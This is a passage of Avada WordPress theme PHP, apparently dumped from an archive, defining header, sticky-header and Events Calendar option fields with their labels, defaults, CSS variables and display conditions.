'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_v4_content', 'operator' => 'contains', 'value' => 'tagline', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'output' => [ [ 'element' => '.fusion-header-tagline', 'function' => 'html', ], ], ], 'header_banner_code' => [ 'label' => esc_html__( 'Banner Code For Content 3', 'Avada' ), 'description' => esc_html__( 'This content will display if you have "Banner" selected for the Header Content 3 option above. Add HTML banner code for Header Content 3. Elements, like buttons, can be used here also.', 'Avada' ), 'id' => 'header_banner_code', 'default' => '', 'type' => 'code', 'choices' => [ 'language' => 'html', 'theme' => 'chrome', ], 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'header_v4_content', 'operator' => '=', 'value' => 'banner', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_v4_content', 'operator' => '=', 'value' => 'banner', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_banner_code' => [ 'selector' => '.fusion-header-content-3-wrapper', 'container_inclusive' => true, 'render_callback' => 'avada_header_content_3', 'success_trigger_event' => 'header-rendered', ], ], ], ], ], 'header_info_2' => [ 'label' => esc_html__( 'Header Background Image', 'Avada' ), 'description' => '', 'id' => 'header_info_2', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'header_global_header_template_bg_notice' => [ 'id' => 'header_global_header_template_bg_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'header_bg_image' => [ 'label' => esc_html__( 'Background Image For Header Area', 'Avada' ), 'description' => esc_html__( 'Select an image for the header background. If left empty, the header background color will be used. For top headers the image displays on top of the header background color and will only display if header background color opacity is set to 1. For side headers the image displays behind the header background color so the header background opacity must be set below 1 to see the image.', 'Avada' ), 'id' => 'header_bg_image', 'default' => '', 'mod' => '', 'type' => 'media', 'css_vars' => [ [ 'name' => '--header_bg_image', 'choice' => 'url', 'callback' => [ 'fallback_to_value', [ 'url("$")', '' ] ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'has-image' ], 'element' => 'body', 'className' => 'avada-has-header-bg-image', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_bg_full' => [ 'label' => esc_html__( '100% Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to have the header background image display at 100% in width and height according to the window size.', 'Avada' ), 'id' => 'header_bg_full', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-header-bg-full', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_bg_parallax' => [ 'label' => esc_html__( 'Parallax Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to use a parallax scrolling effect on the background image. Only works for top header position.', 'Avada' ), 'id' => 'header_bg_parallax', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-header-bg-parallax', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_bg_repeat' => [ 'label' => esc_html__( 'Background Repeat', 'Avada' ), 'description' => esc_html__( 'Controls how the background image repeats.', 'Avada' ), 'id' => 'header_bg_repeat', 'default' => 'no-repeat', 'type' => 'select', 'choices' => [ 'repeat' => esc_html__( 'Repeat All', 'Avada' ), 'repeat-x' => esc_html__( 'Repeat Horizontally', 'Avada' ), 'repeat-y' => esc_html__( 'Repeat Vertically', 'Avada' ), 'no-repeat' => esc_html__( 'No Repeat', 'Avada' ), ], 'required' => [ [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'header_bg_image', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'css_vars' => [ [ 'name' => '--header_bg_repeat', ], ], 'output' => [ [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-header-bg-$', 'remove_attrs' => [ 'avada-header-bg-repeat', 'avada-header-bg-repeat-x', 'avada-header-bg-repeat-y', 'avada-header-bg-no-repeat' ], ], ], ], ], ], 'header_styling' => [ 'label' => esc_html__( 'Header Styling', 'Avada' ), 'description' => '', 'id' => 'header_styling', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'header_global_header_template_styling_notice' => [ 'id' => 'header_global_header_template_styling_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'side_header_width' => [ 'label' => esc_html__( 'Header Width For Left/Right Position', 'Avada' ), 'description' => esc_html__( 'Controls the width of the left or right side header.', 'Avada' ), 'id' => 'side_header_width', 'default' => '280', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '800', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'css_vars' => [ [ 'name' => '--side_header_width', 'value_pattern' => '$px', ], [ 'name' => '--side_header_width-int', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'dummy', 'id' => 'dummy', 'trigger' => [ 'resize' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_padding' => [ 'label' => esc_html__( 'Header Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left padding for the header.', 'Avada' ), 'id' => 'header_padding', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '0px', 'bottom' => '0px', 'left' => '0px', 'right' => '0px', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--header_padding-top', 'choice' => 'top', ], [ 'name' => '--header_padding-bottom', 'choice' => 'bottom', ], [ 'name' => '--header_padding-left', 'choice' => 'left', ], [ 'name' => '--header_padding-right', 'choice' => 'right', ], ], 'output' => [ // This is for the avadaHeaderVars.header_padding_top var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'header_padding_top', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaHeaderVars.header_padding_bottom var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'bottom', 'globalVar' => 'avadaHeaderVars', 'id' => 'header_padding_bottom', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_shadow' => [ 'label' => esc_html__( 'Header Shadow', 'Avada' ), 'description' => esc_html__( 'Turn on to display a header drop shadow.', 'Avada' ), 'id' => 'header_shadow', 'default' => '0', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '.fusion-top-header .fusion-header-wrapper, #side-header', 'className' => 'fusion-header-shadow', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_100_width' => [ 'label' => esc_html__( '100% Header Width', 'Avada' ), 'description' => esc_html__( 'Turn on to have the header area display at 100% width according to the window size. Turn off to follow site width.', 'Avada' ), 'id' => 'header_100_width', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'layout', 'operator' => '==', 'value' => 'wide', ], [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-header-100-width', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_bg_color' => [ 'label' => esc_html__( 'Header Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color and opacity for the header. For top headers, opacity set below 1 will remove the header height completely. For side headers, opacity set below 1 will display a color overlay. Transparent headers are disabled on all archive pages due to technical limitations.', 'Avada' ), 'id' => 'header_bg_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color1)', 'css_vars' => [ [ 'name' => '--header_bg_color', 'element' => '#side-header,.fusion-header', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'header-not-opaque' ], 'element' => 'html', 'className' => 'avada-header-color-not-opaque', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'archive_header_bg_color' => [ 'label' => esc_html__( 'Archive Header Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color and opacity for the header on archive pages, search page and 404 page. For top headers, opacity set below 1 will remove the header height completely. For side headers, opacity set below 1 will display a color overlay.', 'Avada' ), 'id' => 'archive_header_bg_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color1)', 'css_vars' => [ [ 'name' => '--archive_header_bg_color', 'element' => '#side-header,.fusion-header', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'header-not-opaque' ], 'element' => 'html', 'className' => 'avada-header-color-not-opaque', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_border_color' => [ 'label' => esc_html__( 'Header Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border colors for the header. If using left or right header position it controls the menu divider lines.', 'Avada' ), 'id' => 'header_border_color', 'default' => 'rgba(226,226,226,0)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_border_color', 'element' => '.fusion-header-wrapper,#side-header', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'full-transparent' ], 'element' => 'body', 'className' => 'avada-header-border-color-full-transparent', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_top_bg_color' => [ 'label' => esc_html__( 'Header Top Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the top header section used in Headers 2-5.', 'Avada' ), 'id' => 'header_top_bg_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--header_top_bg_color', 'element' => '.fusion-secondary-header', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'not-opaque' ], 'element' => 'html', 'className' => 'avada-header-top-bg-not-opaque', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'tagline_font_size' => [ 'label' => esc_html__( 'Header Tagline Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the tagline text when using header 4.', 'Avada' ), 'id' => 'tagline_font_size', 'default' => '16px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v4', ], ], 'css_vars' => [ [ 'name' => '--tagline_font_size', 'element' => '.fusion-header-tagline', ], ], ], 'tagline_font_color' => [ 'label' => esc_html__( 'Header Tagline Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the font color for the tagline text when using header 4.', 'Avada' ), 'id' => 'tagline_font_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v4', ], ], 'css_vars' => [ [ 'name' => '--tagline_font_color', 'element' => '.fusion-header-tagline', 'callback' => [ 'sanitize_color' ], ], ], ], ], ], 'sticky_header' => [ 'label' => esc_html__( 'Sticky Header', 'Avada' ), 'description' => '', 'id' => 'sticky_header', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'header_global_header_template_sticky_notice' => [ 'id' => 'header_global_header_template_sticky_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'header_sticky' => [ 'label' => esc_html__( 'Sticky Header', 'Avada' ), 'description' => esc_html__( 'Turn on to enable a sticky header.', 'Avada' ), 'id' => 'header_sticky', 'default' => 1, 'type' => 'switch', // Partial refresh for the header. 'partial_refresh' => [ 'header_content_sticky_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_sticky_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_sticky' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'fusion-reinit-sticky-header header-rendered', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'fusion-sticky-header', ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaHeaderVars.header_sticky var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaHeaderVars', 'id' => 'header_sticky', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaMenuVars.header_sticky var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaMenuVars', 'id' => 'header_sticky', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaSidebarsVars.header_sticky var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaSidebarsVars', 'id' => 'header_sticky', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_sticky_tablet' => [ 'label' => esc_html__( 'Sticky Header on Tablets', 'Avada' ), 'description' => esc_html__( 'Turn on to enable a sticky header when scrolling on tablets.', 'Avada' ), 'id' => 'header_sticky_tablet', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'false' ], 'element' => 'body', 'className' => 'no-tablet-sticky-header', ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaHeaderVars.header_sticky_tablet var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'header_sticky_tablet', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaMenuVars.header_sticky_tablet var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaMenuVars', 'id' => 'header_sticky_tablet', ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaSidebarsVars.header_sticky_tablet var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaSidebarsVars', 'id' => 'header_sticky_tablet', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_sticky_mobile' => [ 'label' => esc_html__( 'Sticky Header on Mobiles', 'Avada' ), 'description' => esc_html__( 'Turn on to enable a sticky header when scrolling on mobiles.', 'Avada' ), 'id' => 'header_sticky_mobile', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'false' ], 'element' => 'body', 'className' => 'no-mobile-sticky-header', ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaHeaderVars.header_sticky_mobile var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'header_sticky_mobile', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaMenuVars.header_sticky_mobile var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaMenuVars', 'id' => 'header_sticky_mobile', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaSidebarsVars.header_sticky_mobile var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaSidebarsVars', 'id' => 'header_sticky_mobile', 'trigger' => [ 'resize', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_sticky_shrinkage' => [ 'label' => esc_html__( 'Sticky Header Animation', 'Avada' ), 'description' => esc_html__( 'Turn on to allow the sticky header to animate to a smaller height when activated. Only works with header v1 - v3, v6 and v7.', 'Avada' ), 'id' => 'header_sticky_shrinkage', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v5', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-sticky-shrinkage', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_sticky_type2_layout' => [ 'label' => esc_html__( 'Sticky Header Display For Headers 4 - 5 ', 'Avada' ), 'description' => esc_html__( 'Controls what displays in the sticky header when using header v4 - v5.', 'Avada' ), 'id' => 'header_sticky_type2_layout', 'default' => 'menu_only', 'type' => 'radio-buttonset', 'choices' => [ 'menu_only' => esc_html__( 'Menu Only', 'Avada' ), 'menu_and_logo' => esc_html__( 'Menu + Logo Area', 'Avada' ), ], 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v7', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_sticky_type2_layout_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_sticky_type2_layout_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_sticky_type2_layout_layout' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'fusion-reinit-sticky-header header-rendered', ], ], ], 'header_sticky_shadow' => [ 'label' => esc_html__( 'Sticky Header Shadow', 'Avada' ), 'description' => esc_html__( 'Turn on to display a sticky header drop shadow.', 'Avada' ), 'id' => 'header_sticky_shadow', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], ], 'output' => [ // This is for the avadaHeaderVars.header_sticky_shadow var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaHeaderVars', 'id' => 'header_sticky_shadow', 'trigger' => [ 'ready', 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '.fusion-header', 'className' => 'fusion-sticky-shadow', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_sticky_bg_color' => [ 'label' => esc_html__( 'Sticky Header Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the sticky header.', 'Avada' ), 'id' => 'header_sticky_bg_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color1)', 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], ], 'css_vars' => [ [ 'name' => '--header_sticky_bg_color', 'element' => '.fusion-arrow-svg,.fusion-header-wrapper,#side-header', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionContainerVars', 'id' => 'is_sticky_header_transparent', 'trigger' => [ 'resize', 'fusion-element-render-fusion_builder_container' ], 'callback' => 'fusionReturnColorAlphaInt', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_sticky_menu_color' => [ 'label' => esc_html__( 'Sticky Header Menu Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for main menu text in the sticky header.', 'Avada' ), 'id' => 'header_sticky_menu_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color8)', 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], ], 'css_vars' => [ [ 'name' => '--header_sticky_menu_color', 'element' => '.fusion-main-menu', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_sticky_nav_padding' => [ 'label' => esc_html__( 'Sticky Header Menu Item Padding', 'Avada' ), 'description' => esc_html__( 'Controls the space between each menu item in the sticky header.', 'Avada' ), 'id' => 'header_sticky_nav_padding', 'default' => '35', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '200', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--header_sticky_nav_padding', 'element' => '.fusion-main-menu,.fusion-logo-background', 'value_pattern' => '$px', ], ], ], 'header_sticky_nav_font_size' => [ 'label' => esc_html__( 'Sticky Header Navigation Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the menu items in the sticky header.', 'Avada' ), 'id' => 'header_sticky_nav_font_size', 'default' => '14px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'required' => [ [ 'setting' => 'header_sticky', 'operator' => '!=', 'value' => 0, ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--header_sticky_nav_font_size', 'element' => '.fusion-main-menu', ], ], ], ], ], ]; $sections['header']['fields'] = array_merge( $sections['header']['fields'], $fields ); return $sections; } Avada/includes/options/events_calendar.php000064400000046116152342437700014746 0ustar00=' ) ) { $ec_version_greater_than_4_6_18 = true; } $sections['ec'] = [ 'label' => esc_html__( 'Events Calendar', 'Avada' ), 'id' => 'heading_events_calendar', 'is_panel' => true, 'priority' => 30, 'icon' => 'el-icon-calendar', 'alt_icon' => 'fusiona-calendar-alt-regular', 'fields' => [ 'ec_general_tab' => [ 'label' => esc_html__( 'General Events Calendar', 'Avada' ), 'description' => '', 'id' => 'ec_general_tab', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'ec_display_page_title' => ( ! $ec_version_greater_than_4_6_18 || Fusion_Helper::tribe_is_v2_views_enabled() ) ? [] : [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'Display Events Page Title', 'Avada' ), 'description' => esc_html__( 'Controls if the native page title for events calendar archive pages should be displayed above or below the filter bar, or if it should be disabled.', 'Avada' ), 'id' => 'ec_display_page_title', 'default' => 'below', 'choices' => [ 'above' => esc_html__( 'Above', 'Avada' ), 'below' => esc_html__( 'Below', 'Avada' ), 'disable' => esc_html__( 'Disable', 'Avada' ), ], ], 'primary_overlay_text_color' => [ 'label' => esc_html__( 'Events Primary Color Overlay Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of text when primary color is the background.', 'Avada' ), 'id' => 'primary_overlay_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--primary_overlay_text_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_bar_bg_color' => [ 'label' => esc_html__( 'Events Filter Bar Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the events calendar filter bar.', 'Avada' ), 'id' => 'ec_bar_bg_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_bar_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--ec_bar_bg_color-25l', 'callback' => [ 'lightness_adjust', -.25 ], ], [ 'name' => '--ec_bar_bg_color-15l', 'callback' => [ 'lightness_adjust', -.15 ], ], [ 'name' => '--ec_bar_bg_color-1l', 'callback' => [ 'lightness_adjust', .1 ], ], ], ], 'ec_bar_text_color' => [ 'label' => esc_html__( 'Event Filter Bar Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the event filter bar text.', 'Avada' ), 'id' => 'ec_bar_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_bar_text_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_calendar_heading_bg_color' => ( Fusion_Helper::tribe_is_v2_views_enabled() ) ? [] : [ 'label' => esc_html__( 'Events Monthly Calendar Heading Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the numbered heading in the calendar.', 'Avada' ), 'id' => 'ec_calendar_heading_bg_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_calendar_heading_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--ec_calendar_heading_bg_color-4l', 'callback' => [ 'lightness_adjust', .4 ], ], ], ], 'ec_calendar_bg_color' => ( Fusion_Helper::tribe_is_v2_views_enabled() ) ? [] : [ 'label' => 